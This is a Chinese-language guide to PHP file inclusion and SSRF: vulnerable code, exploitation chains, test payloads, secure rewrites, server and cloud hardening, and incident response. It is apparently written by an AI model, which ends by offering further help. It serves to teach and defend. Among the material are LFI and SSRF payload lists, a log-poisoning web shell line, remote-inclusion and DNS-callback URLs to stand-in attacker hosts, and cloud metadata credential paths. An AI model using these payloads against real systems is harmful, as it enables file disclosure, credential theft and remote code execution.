下面是一份面向开发者和安全工程师的深入指南,覆盖 PHP 中的文件包含(LFI/RFI/包含链)与 SSRF(服务器端请求伪造):概念、常见利用链、检测方法、详细缓解措施、代码级安全实践、运维/网络防护与复现/测试技巧。愿这份指南能当成你查漏洞、修漏洞与写安全代码时的“活手册”。
我把内容分成几个清晰模块:概念与危害、典型漏洞示例(易被忽视的变体)、利用技巧(LFI→RCE、SSRF→内网/元数据渗透等)、检测/复现方式、代码级防护与最佳实践、运维/网络防护、检测工具与CI集成、响应与补救。每一节都给出可复制的代码片段与具体配置建议。
一、基础概念与危害概览
文件包含(File Inclusion)
- LFI(Local File Inclusion):应用把用户输入用作文件路径并通过
include/require等在本地包含执行,攻击者能读取服务器上任意可读文件,甚至在某些情况下执行代码(log poisoning、phar 协议等)。 - RFI(Remote File Inclusion):当
allow_url_include=On且未过滤用户输入时,用户能用远程 URL(http://…/shell.php)被包含并执行——极其危险(RCE)。 - 相关 PHP 函数/语法:
include,require,include_once,require_once,file_get_contents,fopen,readfile,file_put_contents,fopen_streams,stream_wrapper_register等都可被误用引发问题。
危害:任意文件读取、敏感信息泄露(配置、私钥)、命令执行、持久后门注入、横向扩展(攻击其他主机)等。
SSRF(Server-Side Request Forgery)
- 后端服务器替客户端发起 HTTP、TCP、UDP 等请求时,如果目标地址可由不可信输入控制,则会发生 SSRF。
- 攻击者可访问内网服务(127.0.0.1:80)、云厂商元数据服务(AWS 169.254.169.254、GCP metadata server)、或触发对外部回连(用于数据窃取/SSRF→RCE 链)。
危害:内网端口扫描、敏感接口访问(Redis、Elasticsearch、Kubernetes API)、元数据泄露(回传 token/credentials)、远程请求打点(用于 CSRF 掩盖)等。
二、典型漏洞示例与利用链(包含细节)
下面是一些常见易出错的片段与如何被利用。
1) 直接包含用户输入(危险示例)
// BAD
$page = $_GET['page'];
include "/var/www/html/pages/$page.php";
若 page=../../../../etc/passwd%00(历史上 null byte可绕过),或 page=http://attacker/shell(若 allow_url_include=On),就会被利用。
2) file_get_contents 用于读取用户指定 URL(SSRF)
$url = $_GET['url'];
$data = file_get_contents($url); // SSRF 可控
若 url=http://169.254.169.254/latest/meta-data/,即可泄露元数据。或者使用 gopher:// 可触发复杂 TCP 交互。
3) log poisoning(LFI → RCE)
- 攻击流程:存在 LFI 能读取日志并包含日志 → 攻击者把 PHP 代码注入日志(User-Agent、Referer、POST body) → 包含执行 → RCE。
- 示例:
include '/var/log/nginx/access.log';但若access.log可写并包含<?php system($_GET["cmd"]); ?>,则可远程执行。
4) phar:// 利用(反序列化链)
include 'phar://path/to/file.phar';可触发 PHAR 元数据中__destruct,结合不安全的反序列化可达 RCE。
5) php://filter 绕过
php://filter/convert.base64-encode/resource=index.php可读取源码并 base64 编码绕过某些过滤器:include 'php://filter/convert.base64-encode/resource=../../../../wp-config.php';
6) SSRF 对云元数据服务的攻击
- AWS v1 (IMDSv1) 与 IMDSv2 差别:IMDSv2 需要 token。若服务端使用 IMDSv1,攻击者可通过 SSRF 读取敏感 credentials。
- 常见目标地址:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
三、检测与复现(测试技巧)
被动与主动检测
- 被动:审计代码路径,查找
include,require,file_get_contents,fopen,curl_exec,fsockopen,stream_socket_client,stream_get_contents,socket_*,并检查是否使用未过滤的外部输入($_GET/$_POST/HTTP headers)。 - 主动:对外部接口注入 payloads:
- LFI 列表:
../../../../etc/passwd,../../../../proc/self/environ,/var/log/apache2/access.log - php://filter:
php://filter/convert.base64-encode/resource=... - SSRF 列表:
http://127.0.0.1:80/,http://169.254.169.254/,gopher://127.0.0.1:22/_…,http://[::1]/等
- LFI 列表:
测试工具
- Burp Suite + Repeater + Collaborator/Interactsh(检测外拨、DNS)
- curl/HTTPie + 自建回连服务器(ngrok / httpbin / interactsh)
- Nuclei / naabu / ffuf / sqlmap(插件或模板库里有 LFI/SSRF 模板)
- 检测内网:利用 DNS 回调服务(dnslog.cn、interact.sh、Burp Collaborator)
SSRF 可用的检测 payloads(示例)
http://127.0.0.1/http://127.0.0.1:22/(检测端口)http://169.254.169.254/latest/meta-data/gopher://127.0.0.1:11211/_...(memcached 利用)file:///etc/passwd(某些函数支持 file://)
四、代码级防护与安全实践(最重要)
核心原则:不要把原始用户输入传入文件读取/包含/网络请求函数。总是使用显式白名单、最小权限、路径归一化与检查。
1) 永不直接包含用户输入
坏:
include $_GET['tpl']; // 绝对禁止
好(白名单映射):
$pages = [
'home' => '/var/www/html/pages/home.php',
'about' => '/var/www/html/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!array_key_exists($key, $pages)) {
http_response_code(404); exit;
}
include $pages[$key];
只允许预定义的键名,不接受任意路径。
2) 使用 realpath 与目录检测(防止目录穿越)
$base = '/var/www/html/pages/';
$path = realpath($base . $user_input);
if ($path === false || strpos($path, $base) !== 0) {
throw new Exception('Invalid path');
}
include $path;
注意:realpath 会解析符号链接;也要确保 $base 末尾处理一致。
3) 禁用远程包含
在 php.ini:
allow_url_include = Off
allow_url_fopen = Off ; 若真的不需要远程访问,可关掉
allow_url_include=Off 可防止 include 'http://...'。allow_url_fopen 影响 file_get_contents 等;若不需要,建议也关闭,但部分应用可能需要开启(需要评估)。
4) 对所有网络请求使用白名单与端口检查(SSRF)
不要把用户提供的 URL 直接传给 file_get_contents 或 curl。做两层防护:
a) URL 解析与 IP 解析
$u = parse_url($url);
if (!in_array($u['scheme'], ['http','https'])) { throw ...; } // 阻止 file:// gopher:// 等
$host = $u['host'];
$ips = dns_get_record($host, DNS_A + DNS_AAAA);
if (empty($ips)) throw ...;
// 解析首个 IP
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (!$ip) throw ...;
// 判断是否在私有网段
function is_private_ip($ip) { /* implement RFC1918, ::1, link-local, 169.254.169.254等 */ }
if (is_private_ip($ip)) throw new Exception('disallowed');
注意:攻击者可通过 DNS rebinding 或通过短时间切换 DNS 指向内网的方式绕过。进一步推荐使用直接禁止目标为私有 IP 的 egress。
b) 使用代理/网关进行统一访问
- 让后端请求只能通过可信的 HTTP 代理(内部代理执行外部访问并做严格检查),并通过此代理实现白名单。
- 或使用 egress firewall + proxy + allowlist。
5) 对流包装器做限制
PHP 支持很多流包装器(php://, zip://, phar://, data://, expect://, gopher:// 等)。许多利用依赖于这些包装器。尽量禁用不需要的包装器或在配置中限制。例如在 allow_url_fopen 关闭时,也可以在代码中检测 Scheme。
6) 文件上传与文件包含交互(非常常见)
- 上传文件存放在 webroot 以外(如
/var/uploads),并且 webserver 对该目录禁止执行 PHP。 - 随机不含用户输入的文件名(如 UUID),不要使用用户原文件名。
- 对上传文件做文件类型检查(MIME 与魔术头),但不要仅依赖客户端 MIME。
- 插件/主题文件夹不可写给普通用户。
示例:
$dst = '/var/www/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['f']['tmp_name'], $dst);
// 设置 chmod 0644,且 nginx 禁止在该目录执行 php
nginx 配置示例(禁止 PHP 执行):
location /uploads/ {
location ~ \.php$ { return 404; }
# 或 root 指向 uploads 目录且没有 php-fpm fastcgi_pass
}
7) 防止日志注入 / log poisoning
- 不把用户原始输入写进可被 include 的日志文件;把日志存在安全位置,或写数据库而非 web 可读文件。
- 禁止将日志文件暴露到 webroot。
- 在写入日志时对可控输入做编码:不要写入
<?php等字符串,或替换</>。
8) 对 unserialize() 进行限制(与文件包含/SSRF 组合利用)
- 反序列化时指定
allowed_classes:unserialize($data, ['allowed_classes' => false])或白名单类。 - 避免直接
unserialize()来自不可信来源的数据。
9) 使用库与函数的安全替代
- 不要用
include加载远程 URL。 - 对于 HTTP 请求,使用 cURL 并设置
CURLOPT_RESOLVE、CURLOPT_CONNECTTIMEOUT、CURLOPT_TIMEOUT并校验返回的 IP。 - 若必须允许某些外部域名,解析它们的 IP 并检查非私有网段后再请求。
示例(curl + host resolve check):
$host = parse_url($url, PHP_URL_HOST);
$ips = dns_get_record($host, DNS_A+DNS_AAAA);
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (is_private_ip($ip)) throw new Exception('forbidden');
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
$response = curl_exec($ch);
注意 DNS 污染或短期改变仍可能绕过。最稳妥的是 禁止后端访问私有网段(网络层面,而不是仅靠应用层)。
五、运维与网络层面防护(更高可信度)
1) 网络出口策略(强烈建议)
- 在云/宿主机上配置 egress ACL(安全组),禁止 Web 服务器发起到内网/169.254.169.254 等敏感地址的请求(除非确有需求)。
- 允许外出请求只能到白名单 IP 或通过代理。
2) 云元数据安全(云平台专用)
- AWS:启用 IMDSv2(强制 token),尽量禁用 IMDSv1。
- GCP/Azure:对元数据服务采取类似保护或限制 access。
- 网络层面通过主机防火墙主动阻断
169.254.169.254的出站(iptables、云安全组)。
3) 使用 WAF 与流量过滤
- 配置 WAF 规则拦截常见 LFI/SSRF payload(
php://,gopher://,etc/passwd,../等),但 WAF 不能替代代码修复。 - WAF 可阻断常见扫描/大量请求,降低自动化攻击成功率。
4) 容器与最小权限
- 把 Web 应用运行在非 root 的容器/用户下。
- 确保容器没有挂载主机敏感目录(/var/run/docker.sock、/etc)。
- 使用网络策略(K8s NetworkPolicy)限制 Pod 的外出访问。
六、实操检测Payload与复现技巧(红队式)
LFI 检测 payloads(快速):
../../../../etc/passwd../../../../proc/self/environ(查看 Request Header 注入)php://filter/convert.base64-encode/resource=...(读取源码)/var/log/nginx/access.log、/var/log/apache2/access.log- 尝试不同文件扩展与编码:
%2e%2e%2f、..%2f..%2f、..%252f(double-encoding)
SSRF 探测方法:
- 向接口提交能触发 DNS 回调的 URL:
http://attacker-dnslog/<random>,看是否生成 DNS 查询(使用 interactsh/Burp Collaborator)。 - 访问内部端口列表
http://127.0.0.1:2375/(Docker API)、http://127.0.0.1:9200/(Elasticsearch)、http://127.0.0.1:6379/(Redis HTTP gateway),观察响应时间/内容差异。 - 测试 gopher payloads 来与 memcached 或 redis 建立 TCP 交互(高级用法,需熟悉协议)。
七、自动化检测与CI集成
静态代码分析
- SonarQube(带安全规则)、RIPS、PhpStan + 安全插件、Psalm + plugin-security。
- 使用规则扫描
include/require的参数来源,检测allow_url_include,检测 file operations 直接用到$_GET/$_POST。
动态扫描(CI)
- 把常见 LFI/SSRF payload 注入测试用例作为集成测试(黑盒/灰盒)的一部分。
- 使用 OWASP ZAP 或 Burp 的 CI 集成扫描 API。
八、响应、日志与补救(被利用后的处理)
- 立刻断网或限制出站流量(隔离受影响主机)。
- 采集内存/磁盘快照(用于取证)并保全日志。
- 查看 webserver/log 文件、上传目录、cron jobs 是否被修改。
- 扫描一遍系统是否有 WebShell(查找
<?php关键字、eval、base64_decode 等)。 - 更改所有暴露密钥(若怀疑元数据泄露)并重新部署。
- 在修补完代码后恢复服务,并做完整的回归测试与漏洞复测。
九、实用代码片段汇总(安全 vs 不安全对照)
不安全:直接 include 用户输入
include $_GET['file'];
安全:白名单 + realpath
$map = [
'home' => '/var/www/html/pages/home.php',
'about' => '/var/www/html/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($map[$key])) { http_response_code(404); exit; }
include $map[$key];
不安全:直接 file_get_contents($_GET[‘url’])
$data = file_get_contents($_GET['url']);
安全:解析+IP白名单+curl
function is_private_ip($ip) {
// 检查 RFC1918、127.0.0.1、169.254.169.254、::1 等
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
return true;
}
return false;
}
$url = $_GET['url'];
$parse = parse_url($url);
if (!$parse || !in_array($parse['scheme'], ['http','https'])) {
throw new Exception('invalid url');
}
$host = $parse['host'];
$records = dns_get_record($host, DNS_A + DNS_AAAA);
$ip = $records[0]['ip'] ?? $records[0]['ipv6'] ?? null;
if (!$ip || is_private_ip($ip)) {
throw new Exception('forbidden host');
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_CONNECTTIMEOUT => 3,
]);
$out = curl_exec($ch);
注意:上面判断仍可被 DNS rebinding 或短时间 DNS TTL 攻击绕过。要稳妥必须做 网络层限制(禁止访问内网地址)或走内部代理。
十、附:实用参考清单(快速执行)
- 在 php.ini 中:
allow_url_include = Off,allow_url_fopen = Off(若可行)。 - 确保
.user.ini或虚拟主机配置不会覆盖这些设置导致远程包含可用。 - 上传目录放在 webroot 之外,或 webserver 禁止 PHP 执行。
- 在代码中对所有文件/URL输入使用白名单或映射。
- 利用防火墙/安全组禁用服务器对内部敏感地址(169.254.169.254、127.0.0.1:2375、2379/2380 etc)的出站连接。
- 启用云元数据的安全模式(如 AWS IMDSv2)。
- 在 CI 中加入 SAST(Psalm/PhpStan + 安全规则)与 DAST(ZAP)扫描。
- 日志与监控:检测非预期的外部请求、异常大流量或频繁 4xx/5xx。
结语与下一步建议
这份指南已覆盖从代码到网络层、从检测到修复的完整路径。下一步我可以为你做其中任意一项的“落地工作”:
- 代码审计脚本:扫描项目中所有
include/require/file_get_contents/curl_exec的危险用法并输出可疑位置(自动化 SAST 小工具)。 - 补丁示例:把你现有的某段有问题的代码贴给我,我帮你改写成安全版本并给出测试用例。
- 检测脚本:给你一个用于测试 SSRF/LFI 的 Burp 扩展或 curl 列表(包含 interactsh 集成)。
- 运维方案:按你云厂商(AWS / GCP / 阿里云)定制网络 egress 与 IMDS 防护脚本。